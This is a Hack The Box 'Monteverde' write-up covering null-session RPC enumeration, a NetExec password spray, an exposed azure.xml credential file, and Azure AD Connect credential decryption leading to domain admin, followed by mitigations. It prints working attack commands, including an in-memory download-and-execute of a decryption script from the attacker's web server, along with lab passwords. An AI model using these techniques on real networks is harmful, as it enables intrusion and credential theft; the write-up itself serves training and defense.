> For the complete documentation index, see [llms.txt](https://k70n0s510.gitbook.io/k70n0s510-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://k70n0s510.gitbook.io/k70n0s510-docs/hackthebox/medium/monteverde.md). # Monteverde From Anonymous RPC Enumeration to Domain Admin via Azure AD Connect *** ### From Anonymous to Administrator: A Chain of Quiet Mistakes ### From Anonymous RPC Enumeration to Domain Admin via Azure AD Connect **Target:** *Monteverde (10.129.228.111) \[Hack The Box]* **OS:** *Windows* **Difficulty:** *Medium* **Attack Vectors:** *Anonymous RPC Enumeration -> Password Spray -> SMB File Discovery -> Azure AD Connect Credential Decryptio*n ![](https://cdn-images-1.medium.com/max/800/1*qkXMRunPCH3r3_bx-L-0vg.png) ### Executive Summary **Assessment Date:** April 29, 2026 **Risk Level:** CRITICAL **Author:** R00t3dbyFa17h\Nicholas Mullenski ### Overview An assessment of the “Monteverde” Domain Controller revealed a chain of misconfigurations that led to a full domain compromise. The DC permitted anonymous RPC enumeration of all domain accounts, a service account was protected by a trivially weak password, sensitive credential files were left exposed on an SMB share, and a member of the Azure Admins group was able to decrypt credentials stored in the local Azure AD Connect database — ultimately recovering the Domain Administrator’s password in cleartext. ### Key Findings: * **Anonymous RPC Enumeration:** The Domain Controller allowed null-session binds to RPC, exposing the full list of domain users including service accounts (SABatchJobs, AAD\_987d7f2f57d2). This provided the attacker a username list with zero authentication required. * **Weak Service Account Password:** The `SABatchJobs` account was configured with its own username as the password (SABatchJobs:SABatchJobs), discovered via a simple password spray. This provided the initial foothold into the domain. * **Cleartext Credentials on SMB Share:** Post-foothold enumeration of the `users$` SMB share revealed an `azure.xml` credential file in mhope's home directory. The file contained mhope's plaintext password, allowing an upgrade to a WinRM shell and capture of the user flag. * **Azure AD Connect Credential Decryption:** The user `mhope` was a member of the `Azure Admins` group, granting query access to the local Azure AD Connect SQL database. Using a PowerShell script to query the encrypted password blob and decrypt it via the system's own `mcrypt.dll`, the on-prem synchronization account password (Domain Administrator) was recovered in cleartext. ### Strategic Recommendation Anonymous RPC enumeration must be disabled on Domain Controllers via the `RestrictAnonymous` and `RestrictAnonymousSAM` policies. All service accounts must enforce strong, unique passwords — ideally via Group Managed Service Accounts (gMSAs). Credential XML exports must never be saved to user-accessible file shares. Finally, the Azure AD Connect server should be treated as a Tier 0 asset, with strict membership controls on any group that has rights to query the ADSync database. ### 1.0 Initial Foothold ### 1.1 Enumeration & Reconnaissance The objective of this phase was to identify the attack surface of the target machine and pinpoint specific service versions that may contain known vulnerabilities or misconfigurations. **1.1.1 Nmap Scan** — A full TCP scan was performed first to identify open ports. ``` nmap 10.129.228.111 Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 11:49 -0400 Nmap scan report for 10.129.228.111 Host is up (0.066s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman ``` A version and script scan was then performed for deeper service identification. ``` nmap 10.129.228.111 -sCV -vvv PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-29 15:54:37Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows ``` **Key Findings:** * **Port 53 (DNS), 88 (Kerberos), 389/636 (LDAP/LDAPS), 3268/3269 (Global Catalog):** This combination of ports is the classic fingerprint of a **Domain Controller**. * **Port 445 (SMB):** Primary target for share enumeration and authentication-based attacks. * **Port 5985 (WinRM):** Windows Remote Management. If valid credentials are obtained, this is the easiest path to a remote shell. * **Hostname/Domain:** `MONTEVERDE` joined to `MEGABANK.LOCAL`. ### 1.2 SMB & RPC Analysis **1.2.1 SMB Anonymous Login** — A null-session SMB connection was attempted to enumerate shares without credentials. ``` smbclient -N -L //10.129.228.111 Anonymous login successful Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.228.111 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ``` The anonymous bind succeeded but no shares were returned, meaning SMB browsing is locked down without credentials. However, the fact that null binds are accepted at all is a strong hint that RPC may be similarly permissive. **1.2.2 RPCClient Enumeration** — A null-session RPC bind was attempted to enumerate domain user accounts. ``` rpcclient -U "" -N 10.129.228.111 rpcclient $> querydispinfo index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null) index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null) index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null) index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null) index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null) index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null) index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null) index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null) rpcclient $> ``` This is a major win. We now have the full domain user list with zero credentials. Two accounts in particular stand out: * **AAD\_987d7f2f57d2** — The `AAD_` prefix and description ("Service account for the Synchronization Service") confirms that **Azure AD Connect** is installed on this server. This is a critical piece of intel for the privilege escalation phase later. * **SABatchJobs** — Service Account for Batch Jobs. Service accounts are notorious for weak/predictable passwords. The usernames were saved to a file (`users.txt`) for use in the next phase. ### 1.3 Vulnerability Identification: Weak Service Account Credentials A common misconfiguration in Active Directory environments is service accounts being deployed with their username as the password. This is trivial to test using a password spray where the user list is sprayed against itself. ### 2.0 Exploitation ### 2.1 Gaining a Foothold (Password Spray) **2.1.1** With the user list extracted from RPC, NetExec was used to spray each username as a password against SMB. The `--continue-on-success` flag was used to ensure the spray did not stop on the first valid hit. ``` nxc smb 10.129.228.111 -u users.txt -p users.txt --continue-on-success SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:SABatchJobs STATUS_LOGON_FAILURE ``` **Discovery:** The `SABatchJobs` account is configured with the password `SABatchJobs`. This is our foothold into the domain. ### 3.0 Internal Enumeration ### 3.1 SMB Share Discovery **3.1.1** With valid credentials in hand, NetExec was used to enumerate the available SMB shares for `SABatchJobs`. ``` nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs SMB 10.129.228.111 445 MONTEVERDE [*] Enumerated shares SMB 10.129.228.111 445 MONTEVERDE Share Permissions Remark SMB 10.129.228.111 445 MONTEVERDE ----- ----------- ------ SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ SMB 10.129.228.111 445 MONTEVERDE C$ Default share SMB 10.129.228.111 445 MONTEVERDE E$ Default share SMB 10.129.228.111 445 MONTEVERDE IPC$ READ Remote IPC SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share SMB 10.129.228.111 445 MONTEVERDE users$ READ ``` Two non-default shares immediately stand out: **`azure_uploads`** and **`users$`**. The `users$` share typically holds individual user home directories — a common location for sensitive files — so it is investigated first. **3.1.2** Listing the contents of the `users$` share: ``` nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --share 'users$' --dir SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs SMB 10.129.228.111 445 MONTEVERDE Perms File Size Date File Path SMB 10.129.228.111 445 MONTEVERDE ----- --------- ---- --------- SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:12:48 2020 . SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:12:48 2020 .. SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:15:23 2020 dgalanos SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:41:18 2020 mhope SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:14:56 2020 roleary SMB 10.129.228.111 445 MONTEVERDE dr-- 0 Fri Jan 3 08:14:28 2020 smorgan ``` Four user folders are present. Rather than browsing each one manually, **smbmap** was used to recursively enumerate every file across all subdirectories. ### 3.2 Recursive File Search & Credential Discovery **3.2.1** A recursive listing of the `users$` share was performed: ``` smbmap -H 10.129.228.111 -u SABatchJobs -p SABatchJobs -r 'users$' --depth 3 ``` ``` [-] Traversing shares... [+] IP: 10.129.228.111:445 Name: 10.129.228.111 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin azure_uploads READ ONLY C$ NO ACCESS Default share E$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share users$ READ ONLY ./users$ dr--r--r-- 0 Fri Jan 3 08:12:48 2020 . dr--r--r-- 0 Fri Jan 3 08:12:48 2020 .. dr--r--r-- 0 Fri Jan 3 08:15:23 2020 dgalanos dr--r--r-- 0 Fri Jan 3 08:41:18 2020 mhope dr--r--r-- 0 Fri Jan 3 08:14:56 2020 roleary dr--r--r-- 0 Fri Jan 3 08:14:28 2020 smorgan ./users$//mhope dr--r--r-- 0 Fri Jan 3 08:41:18 2020 . dr--r--r-- 0 Fri Jan 3 08:41:18 2020 .. fw--w--w-- 1212 Fri Jan 3 09:59:24 2020 azure.xml ``` **Discovery:** Across all four user home directories, only one file exists — **`azure.xml`** in `mhope`'s folder. Combined with the earlier intel that this server runs Azure AD Connect, this file is almost certainly going to contain credentials. **3.2.2** The file was retrieved using smbclient with a targeted `get` command: ``` smbclient -U SABatchJobs //10.129.228.111/users$ SABatchJobs -c 'get mhope/azure.xml azure.xml' getting file \mhope\azure.xml of size 1212 as azure.xml (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec) ``` **3.2.3** The `azure.xml` file contains a PowerShell-serialized credential object holding mhope's password in cleartext. ![](https://cdn-images-1.medium.com/max/800/1*fneg5yhM8KzDahLfGODVig.png) ### 3.3 Validating Credentials and Getting a Shell **3.3.1** The credentials were validated against WinRM using NetExec: ``` nxc winrm 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$' WINRM 10.129.228.111 5985 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) WINRM 10.129.228.111 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!) ``` The `(Pwn3d!)` indicator confirms WinRM access. A shell was established with Evil-WinRM and the user flag was retrieved. ``` evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$' ``` ``` *Evil-WinRM* PS C:\Users\mhope\Desktop> type user.txt 6ac31369ee9b2831c3f790425e56ccf3 ``` **User Flag Captured:** `6ac31369ee9b2831c3f790425e56ccf3` ### 4.0 Privilege Escalation ### 4.1 Identifying the Vector **4.1.1** Once the shell was established as `mhope`, enumeration was performed to identify the user's privileges and group memberships. ``` *Evil-WinRM* PS C:\Users\mhope\Desktop> whoami /priv ``` ``` PRIVILEGES INFORMATION --- ``` ``` Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ``` ``` *Evil-WinRM* PS C:\Users\mhope\Desktop> net user mhope User name mhope Full Name Mike Hope Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never ``` ``` Password last set 1/2/2020 4:40:05 PM Password expires Never Password changeable 1/3/2020 4:40:05 PM Password required Yes User may change password No ``` ``` Workstations allowed All Logon script User profile Home directory \\monteverde\users$\mhope Last logon 1/3/2020 6:29:59 AM ``` ``` Logon hours allowed All ``` ``` Local Group Memberships *Remote Management Use Global Group memberships *Azure Admins *Domain Users The command completed successfully. ``` **Key Discovery:** `mhope` is a member of the **Azure Admins** group. This group typically has permissions to manage the synchronization service, which includes interacting with its local SQL database where the AD-to-Azure replication account credentials are stored. ### 4.2 Locating the Azure AD Connect Service **4.2.1** Confirming that Azure AD Connect and its supporting components are installed on the server. ``` *Evil-WinRM* PS C:\> cd "Program Files" *Evil-WinRM* PS C:\Program Files> ls ``` ``` Directory: C:\Program Files ``` ``` Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/2/2020 9:36 PM Common Files d----- 1/2/2020 2:46 PM internet explorer d----- 1/2/2020 2:38 PM Microsoft Analysis Services d----- 1/2/2020 2:51 PM Microsoft Azure Active Directory Connect d----- 1/2/2020 3:37 PM Microsoft Azure Active Directory Connect Upgrader d----- 1/2/2020 3:02 PM Microsoft Azure AD Connect Health Sync Agent d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync d----- 1/2/2020 2:38 PM Microsoft SQL Server d----- 1/2/2020 2:25 PM Microsoft Visual Studio 10.0 d----- 1/2/2020 2:32 PM Microsoft.NET d----- 1/3/2020 5:28 AM PackageManagement d----- 1/2/2020 9:37 PM VMware d-r--- 1/2/2020 2:46 PM Windows Defender d----- 1/2/2020 2:46 PM Windows Defender Advanced Threat Protection d----- 9/15/2018 12:19 AM Windows Mail d----- 1/2/2020 2:46 PM Windows Media Player d----- 9/15/2018 12:19 AM Windows Multimedia Platform d----- 9/15/2018 12:28 AM windows nt d----- 1/2/2020 2:46 PM Windows Photo Viewer d----- 9/15/2018 12:19 AM Windows Portable Devices d----- 9/15/2018 12:19 AM Windows Security d----- 1/3/2020 5:28 AM WindowsPowerShell ``` The presence of the `Microsoft Azure AD Sync` and `Microsoft SQL Server` directories confirms a local SQL instance (ADSync) is running and is used to store credentials for cloud synchronization. ### 4.3 Exploit Logic Azure AD Connect uses a local SQL database to store the encrypted credentials for the on-prem account that handles AD-to-Azure replication. The catch is that the **decryption keys are stored on the same machine** — they have to be, because the service needs to decrypt the credentials at runtime to function. Because `mhope` is in the Azure Admins group, we have the rights required to query this database directly. The PowerShell PoC performs the following steps: 1. Queries the ADSync database for the encrypted password blob and the unique entropy/key material. 2. Loads the native `mcrypt.dll` (located in the Sync `bin` folder) — the same library the legitimate service uses. 3. Decrypts the blob into plaintext using the extracted keys. In other words: we are not breaking the encryption. We are asking the system to decrypt its own secrets for us. ### 4.4 Execute and Elevate **4.4.1** The PowerShell PoC was saved locally as `getcreds.ps1` and hosted via a simple Python web server. ``` python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` **4.4.2** The script was downloaded and executed in-memory inside the WinRM shell: ``` iex(new-object net.webclient).downloadstring('http://10.10.14.149/getcreds.ps1') Domain: MEGABANK.LOCAL Username: administrator Password: d0m@in4dminyeah! ``` **Recovered Credentials:** * **Username:** administrator * **Password:** `d0m@in4dminyeah!` ### 4.5 Gaining Administrator Access **4.5.1** With the Domain Administrator credentials in hand, a new Evil-WinRM session was opened to retrieve the root flag. ``` evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!' Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt dc3462bf57471b85a30c4afa01005b78 ``` **Root Flag Captured:** `dc3462bf57471b85a30c4afa01005b78` ### 5.0 Lessons Learned & Mitigation * **Anonymous RPC Enumeration:** The Domain Controller permitted null-session binds to RPC, leaking the entire user list. Administrators must enforce `RestrictAnonymous` and `RestrictAnonymousSAM` registry policies on all DCs to block this disclosure. * **Weak Service Account Password:** The `SABatchJobs` account was deployed with its username as the password. Service accounts must use strong, unique, and ideally rotated passwords. Group Managed Service Accounts (gMSAs) eliminate this risk by automating password management. * **Cleartext Credentials on a File Share:** A PowerShell `Export-Clixml` credential file containing mhope's plaintext password was left in a user-accessible SMB share. Sensitive credentials must never be stored on shared paths, and credential exports should be encrypted with DPAPI bound to a specific user/host context only. * **Azure AD Connect Privilege Escalation:** Membership in the Azure Admins group effectively granted access to the on-prem synchronization account — which is functionally equivalent to Domain Administrator. The Azure AD Connect server must be treated as a Tier 0 asset, with strict membership controls on any group that has rights to query the ADSync database. ### 5.1 Spiritual Connection **Obadiah 1:3–4** > *“The pride of your heart has deceived you, you who live in the clefts of the rock, in your lofty dwelling, who say in your heart, ‘Who will bring me down to the ground?’ Though you soar aloft like the eagle, though your nest is set among the stars, from there I will bring you down, declares the LORD.”* Edom built its cities into the cliffs and believed the altitude made them untouchable. Monteverde was the same story in a different language — a Domain Controller sitting at the top of the trust hierarchy, brought down not by a zero-day but by small, prideful assumptions. *We’re a DC, nobody can enumerate us. We’re an internal share, nobody will look. We’re a sync account, nobody can decrypt us.* Every layer of this box fell because someone trusted elevation to do the work that discipline was supposed to do. The same trap waits for us spiritually. The higher we climb — in knowledge, in skill, in ministry, in walk — the more we’re tempted to believe our position protects us. It doesn’t. Pride is the null session of the soul: a quiet door we forget to close because we can’t imagine anyone walking through it. Draw near to God in the small things, the unglamorous audits of the heart, the parts nobody sees. *“God opposes the proud but gives grace to the humble”* (James 4:6). The eagle’s nest doesn’t save you. Humility does. By [Nicholas Mullenski](https://medium.com/@nicholasmullenski) on [May 4, 2026](https://medium.com/p/55d0daf90bf9). [Canonical link](https://medium.com/@nicholasmullenski/from-anonymous-to-administrator-a-chain-of-quiet-mistakes-55d0daf90bf9) Exported from [Medium](https://medium.com) on September 1, 2026. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. 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